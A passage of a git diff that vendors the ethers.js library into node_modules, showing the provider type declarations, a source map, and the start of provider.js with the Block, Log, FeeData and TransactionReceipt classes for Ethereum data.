OrphanFilter; +} +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +export declare class TransactionReceipt implements TransactionReceiptParams, Iterable { + #private; + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The address the transaction was sent to. + */ + readonly to: null | string; + /** + * The sender of the transaction. + */ + readonly from: string; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + readonly contractAddress: null | string; + /** + * The transaction hash. + */ + readonly hash: string; + /** + * The index of this transaction within the block transactions. + */ + readonly index: number; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + readonly blockHash: string; + /** + * The block number of the [[Block]] this transaction was included in. + */ + readonly blockNumber: number; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + readonly logsBloom: string; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + readonly gasUsed: bigint; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + readonly blobGasUsed: null | bigint; + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + readonly cumulativeGasUsed: bigint; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + readonly gasPrice: bigint; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + readonly blobGasPrice: null | bigint; + /** + * The [[link-eip-2718]] transaction type. + */ + readonly type: number; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + readonly status: null | number; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + readonly root: null | string; + /** + * @_ignore: + */ + constructor(tx: TransactionReceiptParams, provider: Provider); + /** + * The logs for this transaction. + */ + get logs(): ReadonlyArray; + /** + * Returns a JSON-compatible representation. + */ + toJSON(): any; + /** + * @_ignore: + */ + get length(): number; + [Symbol.iterator](): Iterator; + /** + * The total fee for this transaction, in wei. + */ + get fee(): bigint; + /** + * Resolves to the block this transaction occurred in. + */ + getBlock(): Promise; + /** + * Resolves to the transaction this transaction occurred in. + */ + getTransaction(): Promise; + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + getResult(): Promise; + /** + * Resolves to the number of confirmations this transaction has. + */ + confirmations(): Promise; + /** + * @_ignore: + */ + removedEvent(): OrphanFilter; + /** + * @_ignore: + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter; +} +/** + * A **MinedTransactionResponse** is an interface representing a + * transaction which has been mined and allows for a type guard for its + * property values being defined. + */ +export interface MinedTransactionResponse extends TransactionResponse { + /** + * The block number this transaction occurred in. + */ + blockNumber: number; + /** + * The block hash this transaction occurred in. + */ + blockHash: string; + /** + * The date this transaction occurred on. + */ + date: Date; +} +/** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +export declare class TransactionResponse implements TransactionLike, TransactionResponseParams { + #private; + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + readonly provider: Provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockNumber: null | number; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockHash: null | string; + /** + * The index within the block that this transaction resides at. + */ + readonly index: number; + /** + * The transaction hash. + */ + readonly hash: string; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + readonly type: number; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + readonly to: null | string; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + readonly from: string; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + readonly nonce: number; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + readonly gasLimit: bigint; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + readonly gasPrice: bigint; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + readonly maxPriorityFeePerGas: null | bigint; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + readonly maxFeePerGas: null | bigint; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + readonly maxFeePerBlobGas: null | bigint; + /** + * The data. + */ + readonly data: string; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + readonly value: bigint; + /** + * The chain ID. + */ + readonly chainId: bigint; + /** + * The signature. + */ + readonly signature: Signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + readonly accessList: null | AccessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + readonly blobVersionedHashes: null | Array; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + readonly authorizationList: null | Array; + /** + * @_ignore: + */ + constructor(tx: TransactionResponseParams, provider: Provider); + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON(): any; + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + getBlock(): Promise; + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + getTransaction(): Promise; + /** + * Resolve to the number of confirmations this transaction has. + */ + confirmations(): Promise; + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + wait(_confirms?: number, _timeout?: number): Promise; + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined(): this is MinedTransactionResponse; + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy(): this is (TransactionResponse & { + accessList: null; + maxFeePerGas: null; + maxPriorityFeePerGas: null; + }); + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: null; + maxPriorityFeePerGas: null; + }); + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + }); + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + maxFeePerBlobGas: bigint; + blobVersionedHashes: Array; + }); + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent(): OrphanFilter; + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter; + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock: number): TransactionResponse; +} +/** + * An Orphan Filter allows detecting when an orphan block has + * resulted in dropping a block or transaction or has resulted + * in transactions changing order. + * + * Not currently fully supported. + */ +export type OrphanFilter = { + orphan: "drop-block"; + hash: string; + number: number; +} | { + orphan: "drop-transaction"; + tx: { + hash: string; + blockHash: string; + blockNumber: number; + }; + other?: { + hash: string; + blockHash: string; + blockNumber: number; + }; +} | { + orphan: "reorder-transaction"; + tx: { + hash: string; + blockHash: string; + blockNumber: number; + }; + other?: { + hash: string; + blockHash: string; + blockNumber: number; + }; +} | { + orphan: "drop-log"; + log: { + transactionHash: string; + blockHash: string; + blockNumber: number; + address: string; + data: string; + topics: ReadonlyArray; + index: number; + }; +}; +/** + * A **TopicFilter** provides a struture to define bloom-filter + * queries. + * + * Each field that is ``null`` matches **any** value, a field that is + * a ``string`` must match exactly that value and ``array`` is + * effectively an ``OR``-ed set, where any one of those values must + * match. + */ +export type TopicFilter = Array>; +/** + * An **EventFilter** allows efficiently filtering logs (also known as + * events) using bloom filters included within blocks. + */ +export interface EventFilter { + address?: AddressLike | Array; + topics?: TopicFilter; +} +/** + * A **Filter** allows searching a specific range of blocks for mathcing + * logs. + */ +export interface Filter extends EventFilter { + /** + * The start block for the filter (inclusive). + */ + fromBlock?: BlockTag; + /** + * The end block for the filter (inclusive). + */ + toBlock?: BlockTag; +} +/** + * A **FilterByBlockHash** allows searching a specific block for mathcing + * logs. + */ +export interface FilterByBlockHash extends EventFilter { + /** + * The blockhash of the specific block for the filter. + */ + blockHash?: string; +} +/** + * A **ProviderEvent** provides the types of events that can be subscribed + * to on a [[Provider]]. + * + * Each provider may include additional possible events it supports, but + * the most commonly supported are: + * + * **``"block"``** - calls the listener with the current block number on each + * new block. + * + * **``"error"``** - calls the listener on each async error that occurs during + * the event loop, with the error. + * + * **``"debug"``** - calls the listener on debug events, which can be used to + * troubleshoot network errors, provider problems, etc. + * + * **``transaction hash``** - calls the listener on each block after the + * transaction has been mined; generally ``.once`` is more appropriate for + * this event. + * + * **``Array``** - calls the listener on each log that matches the filter. + * + * [[EventFilter]] - calls the listener with each matching log + */ +export type ProviderEvent = string | Array> | EventFilter | OrphanFilter; +/** + * A **Provider** is the primary method to interact with the read-only + * content on Ethereum. + * + * It allows access to details about accounts, blocks and transactions + * and the ability to query event logs and simulate contract execution. + * + * Account data includes the [balance](getBalance), + * [transaction count](getTransactionCount), [code](getCode) and + * [state trie storage](getStorage). + * + * Simulating execution can be used to [call](call), + * [estimate gas](estimateGas) and + * [get transaction results](getTransactionResult). + * + * The [[broadcastTransaction]] is the only method which allows updating + * the blockchain, but it is usually accessed by a [[Signer]], since a + * private key must be used to sign the transaction before it can be + * broadcast. + */ +export interface Provider extends ContractRunner, EventEmitterable, NameResolver { + /** + * The provider iteself. + * + * This is part of the necessary API for executing a contract, as + * it provides a common property on any [[ContractRunner]] that + * can be used to access the read-only portion of the runner. + */ + provider: this; + /** + * Shutdown any resources this provider is using. No additional + * calls should be made to this provider after calling this. + */ + destroy(): void; + /** + * Get the current block number. + */ + getBlockNumber(): Promise; + /** + * Get the connected [[Network]]. + */ + getNetwork(): Promise; + /** + * Get the best guess at the recommended [[FeeData]]. + */ + getFeeData(): Promise; + /** + * Get the account balance (in wei) of %%address%%. If %%blockTag%% + * is specified and the node supports archive access for that + * %%blockTag%%, the balance is as of that [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getBalance(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the number of transactions ever sent for %%address%%, which + * is used as the ``nonce`` when sending a transaction. If + * %%blockTag%% is specified and the node supports archive access + * for that %%blockTag%%, the transaction count is as of that + * [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the bytecode for %%address%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getCode(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the storage slot value for %%address%% at slot %%position%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getStorage(address: AddressLike, position: BigNumberish, blockTag?: BlockTag): Promise; + /** + * Estimates the amount of gas required to execute %%tx%%. + */ + estimateGas(tx: TransactionRequest): Promise; + /** + * Simulate the execution of %%tx%%. If the call reverts, it will + * throw a [[CallExceptionError]] which includes the revert data. + */ + call(tx: TransactionRequest): Promise; + /** + * Broadcasts the %%signedTx%% to the network, adding it to the + * memory pool of any node for which the transaction meets the + * rebroadcast requirements. + */ + broadcastTransaction(signedTx: string): Promise; + /** + * Resolves to the block for %%blockHashOrBlockTag%%. + * + * If %%prefetchTxs%%, and the backend supports including transactions + * with block requests, all transactions will be included and the + * [[Block]] object will not need to make remote calls for getting + * transactions. + */ + getBlock(blockHashOrBlockTag: BlockTag | string, prefetchTxs?: boolean): Promise; + /** + * Resolves to the transaction for %%hash%%. + * + * If the transaction is unknown or on pruning nodes which + * discard old transactions this resolves to ``null``. + */ + getTransaction(hash: string): Promise; + /** + * Resolves to the transaction receipt for %%hash%%, if mined. + * + * If the transaction has not been mined, is unknown or on + * pruning nodes which discard old transactions this resolves to + * ``null``. + */ + getTransactionReceipt(hash: string): Promise; + /** + * Resolves to the result returned by the executions of %%hash%%. + * + * This is only supported on nodes with archive access and with + * the necessary debug APIs enabled. + */ + getTransactionResult(hash: string): Promise; + /** + * Resolves to the list of Logs that match %%filter%% + */ + getLogs(filter: Filter | FilterByBlockHash): Promise>; + /** + * Resolves to the address configured for the %%ensName%% or + * ``null`` if unconfigured. + */ + resolveName(ensName: string): Promise; + /** + * Resolves to the ENS name associated for the %%address%% or + * ``null`` if the //primary name// is not configured. + * + * Users must perform additional steps to configure a //primary name//, + * which is not currently common. + */ + lookupAddress(address: string): Promise; + /** + * Waits until the transaction %%hash%% is mined and has %%confirms%% + * confirmations. + */ + waitForTransaction(hash: string, confirms?: number, timeout?: number): Promise; + /** + * Resolves to the block at %%blockTag%% once it has been mined. + * + * This can be useful for waiting some number of blocks by using + * the ``currentBlockNumber + N``. + */ + waitForBlock(blockTag?: BlockTag): Promise; +} +//# sourceMappingURL=provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider.d.ts.map b/node_modules/ethers/lib.esm/providers/provider.d.ts.map new file mode 100644 index 000000000000..3063c7a2c049 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACrE,OAAO,KAAK,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AACxE,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AACpD,OAAO,KAAK,EACR,UAAU,EAAE,aAAa,EAAE,aAAa,EAAE,iBAAiB,EAAE,QAAQ,EACrE,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BAAiB,GAAG,OAAO,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;IAMjE;;;OAGG;IACH,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAErD;;;;;;OAMG;IACH,aAAa,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAEvD;;;OAGG;IACH,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,kBAAkB,CAAC,CAAC;IAE1G;;;;;OAKG;IACH,YAAY,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC;CACrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider.js b/node_modules/ethers/lib.esm/providers/provider.js new file mode 100644 index 000000000000..2a17f154fe52 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider.js @@ -0,0 +1,1312 @@ +//import { resolveAddress } from "@ethersproject/address"; +import { defineProperties, getBigInt, getNumber, hexlify, isBytesLike, resolveProperties, assert, assertArgument, isError, makeError } from "../utils/index.js"; +import { accessListify } from "../transaction/index.js"; +const BN_0 = BigInt(0); +// ----------------------- +function getValue(value) { + if (value == null) { + return null; + } + return value; +} +function toJson(value) { + if (value == null) { + return null; + } + return value.toString(); +} +// @TODO? implements Required +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +export class FeeData { + /** + * The gas price for legacy networks. + */ + gasPrice; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxFeePerGas; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxPriorityFeePerGas; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) { + defineProperties(this, { + gasPrice: getValue(gasPrice), + maxFeePerGas: getValue(maxFeePerGas), + maxPriorityFeePerGas: getValue(maxPriorityFeePerGas) + }); + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this; + return { + _type: "FeeData", + gasPrice: toJson(gasPrice), + maxFeePerGas: toJson(maxFeePerGas), + maxPriorityFeePerGas: toJson(maxPriorityFeePerGas), + }; + } +} +; +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +export function copyRequest(req) { + const result = {}; + // These could be addresses, ENS names or Addressables + if (req.to) { + result.to = req.to; + } + if (req.from) { + result.from = req.from; + } + if (req.data) { + result.data = hexlify(req.data); + } + const bigIntKeys = "chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); + for (const key of bigIntKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getBigInt(req[key], `request.${key}`); + } + const numberKeys = "type,nonce".split(/,/); + for (const key of numberKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getNumber(req[key], `request.${key}`); + } + if (req.accessList) { + result.accessList = accessListify(req.accessList); + } + if (req.authorizationList) { + result.authorizationList = req.authorizationList.slice(); + } + if ("blockTag" in req) { + result.blockTag = req.blockTag; + } + if ("enableCcipRead" in req) { + result.enableCcipRead = !!req.enableCcipRead; + } + if ("customData" in req) { + result.customData = req.customData; + } + if ("blobVersionedHashes" in req && req.blobVersionedHashes) { + result.blobVersionedHashes = req.blobVersionedHashes.slice(); + } + if ("kzg" in req) { + result.kzg = req.kzg; + } + if ("blobs" in req && req.blobs) { + result.blobs = req.blobs.map((b) => { + if (isBytesLike(b)) { + return hexlify(b); + } + return Object.assign({}, b); + }); + } + return result; +} +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +export class Block { + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + hash; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + timestamp; + /** + * The block hash of the parent block. + */ + parentHash; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + nonce; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + difficulty; + /** + * The total gas limit for this block. + */ + gasLimit; + /** + * The total gas used in this block. + */ + gasUsed; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + miner; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao; + /** + * Any extra data the validator wished to include. + */ + extraData; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + baseFeePerGas; + #transactions; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block, provider) { + this.#transactions = block.transactions.map((tx) => { + if (typeof (tx) !== "string") { + return new TransactionResponse(tx, provider); + } + return tx; + }); + defineProperties(this, { + provider, + hash: getValue(block.hash), + number: block.number, + timestamp: block.timestamp, + parentHash: block.parentHash, + parentBeaconBlockRoot: block.parentBeaconBlockRoot, + nonce: block.nonce, + difficulty: block.difficulty, + gasLimit: block.gasLimit, + gasUsed: block.gasUsed, + blobGasUsed: block.blobGasUsed, + excessBlobGas: block.excessBlobGas, + miner: block.miner, + prevRandao: getValue(block.prevRandao), + extraData: block.extraData, + baseFeePerGas: getValue(block.baseFeePerGas), + stateRoot: block.stateRoot, + receiptsRoot: block.receiptsRoot, + }); + } + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions() { + return this.#transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return tx.hash; + }); + } + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions() { + const txs = this.#transactions.slice(); + // Doesn't matter... + if (txs.length === 0) { + return []; + } + // Make sure we prefetched the transactions + assert(typeof (txs[0]) === "object", "transactions were not prefetched with block request", "UNSUPPORTED_OPERATION", { + operation: "transactionResponses()" + }); + return txs; + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this; + return { + _type: "Block", + baseFeePerGas: toJson(baseFeePerGas), + difficulty: toJson(difficulty), + extraData, + gasLimit: toJson(gasLimit), + gasUsed: toJson(gasUsed), + blobGasUsed: toJson(this.blobGasUsed), + excessBlobGas: toJson(this.excessBlobGas), + hash, miner, prevRandao, nonce, number, parentHash, timestamp, + parentBeaconBlockRoot, stateRoot, receiptsRoot, + transactions, + }; + } + [Symbol.iterator]() { + let index = 0; + const txs = this.transactions; + return { + next: () => { + if (index < this.length) { + return { + value: txs[index++], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The number of transactions in this block. + */ + get length() { return this.#transactions.length; } + /** + * The [[link-js-date]] this block was included at. + */ + get date() { + if (this.timestamp == null) { + return null; + } + return new Date(this.timestamp * 1000); + } + /** + * Get the transaction at %%indexe%% within this block. + */ + async getTransaction(indexOrHash) { + // Find the internal value by its index or hash + let tx = undefined; + if (typeof (indexOrHash) === "number") { + tx = this.#transactions[indexOrHash]; + } + else { + const hash = indexOrHash.toLowerCase(); + for (const v of this.#transactions) { + if (typeof (v) === "string") { + if (v !== hash) { + continue; + } + tx = v; + break; + } + else { + if (v.hash !== hash) { + continue; + } + tx = v; + break; + } + } + } + if (tx == null) { + throw new Error("no such tx"); + } + if (typeof (tx) === "string") { + return (await this.provider.getTransaction(tx)); + } + else { + return tx; + } + } + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash) { + const txs = this.prefetchedTransactions; + if (typeof (indexOrHash) === "number") { + return txs[indexOrHash]; + } + indexOrHash = indexOrHash.toLowerCase(); + for (const tx of txs) { + if (tx.hash === indexOrHash) { + return tx; + } + } + assertArgument(false, "no matching transaction", "indexOrHash", indexOrHash); + } + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined() { return !!this.hash; } + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon() { + return !!this.baseFeePerGas; + } + /** + * @_ignore: + */ + orphanedEvent() { + if (!this.isMined()) { + throw new Error(""); + } + return createOrphanedBlockFilter(this); + } +} +////////////////////// +// Log +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +export class Log { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + transactionHash; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + blockHash; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + blockNumber; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + removed; + /** + * The address of the contract that emitted this log. + */ + address; + /** + * The data included in this log when it was emitted. + */ + data; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + topics; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + index; + /** + * The index within the transaction of this log. + */ + transactionIndex; + /** + * @_ignore: + */ + constructor(log, provider) { + this.provider = provider; + const topics = Object.freeze(log.topics.slice()); + defineProperties(this, { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + removed: log.removed, + address: log.address, + data: log.data, + topics, + index: log.index, + transactionIndex: log.transactionIndex, + }); + } + /** + * Returns a JSON-compatible object. + */ + toJSON() { + const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this; + return { + _type: "log", + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + }; + } + /** + * Returns the block that this log occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + assert(!!block, "failed to find transaction", "UNKNOWN_ERROR", {}); + return block; + } + /** + * Returns the transaction that this log occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.transactionHash); + assert(!!tx, "failed to find transaction", "UNKNOWN_ERROR", {}); + return tx; + } + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + async getTransactionReceipt() { + const receipt = await this.provider.getTransactionReceipt(this.transactionHash); + assert(!!receipt, "failed to find transaction receipt", "UNKNOWN_ERROR", {}); + return receipt; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedLogFilter(this); + } +} +////////////////////// +// Transaction Receipt +/* +export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; +} + +export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; +} +*/ +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +export class TransactionReceipt { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The address the transaction was sent to. + */ + to; + /** + * The sender of the transaction. + */ + from; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + contractAddress; + /** + * The transaction hash. + */ + hash; + /** + * The index of this transaction within the block transactions. + */ + index; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + blockHash; + /** + * The block number of the [[Block]] this transaction was included in. + */ + blockNumber; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + logsBloom; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + gasUsed; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The amount of gas used by all transactions within the block for this + * and all 